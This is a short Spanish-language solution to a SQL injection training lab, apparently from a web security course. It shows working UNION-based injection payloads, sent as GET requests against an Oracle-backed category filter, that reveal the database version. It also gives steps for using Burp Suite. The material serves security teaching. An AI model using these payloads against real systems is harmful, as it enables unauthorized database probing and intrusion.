SQL injection attack, querying the database type and version on Oracle

Este laboratorio contiene una vulnerabilidad de inyección SQL en el filtro de "category" de producto. Puede usar un ataque UNION para recuperar los resultados de una consulta inyectada.

Para resolver el laboratorio, muestre la cadena de versión de la base de datos.
Nota

En las bases de datos Oracle, cada instrucción SELECT debe especificar una tabla para seleccionar FROM. Si su ataque UNION SELECT no consulta desde una tabla, aún deberá incluir la palabra clave FROM seguida de un nombre de tabla válido.

Hay una tabla integrada en Oracle llamada DUAL que puede usar para este propósito. Por ejemplo: UNION SELECT 'abc' FROM DUAL



---------------------------------------------------------------------------------------------------------------------------------------
SOLUCION:
GET /filter?category=Lifestyle'+UNION+SELECT+'abc','def'+FROM+DUAL--
GET /filter?category=Lifestyle'+UNION+SELECT+BANNER,+NULL+FROM+v$version--
---------------------------------------------------------------------------------------------------------------------------------------

Use Burp Suite para interceptar y modificar la solicitud que establece el filtro de categoría de producto.
Determine el número de columnas que devuelve la consulta y qué columnas contienen datos de texto. Verifique que la consulta devuelva dos columnas, ambas con texto, utilizando una carga útil como la siguiente en el parámetro de "category": '+UNION+SELECT+'abc','def'+FROM+DUAL--
Use la siguiente carga útil para mostrar la versión de la base de datos: '+UNION+SELECT+BANNER,+NULL+FROM+v$version--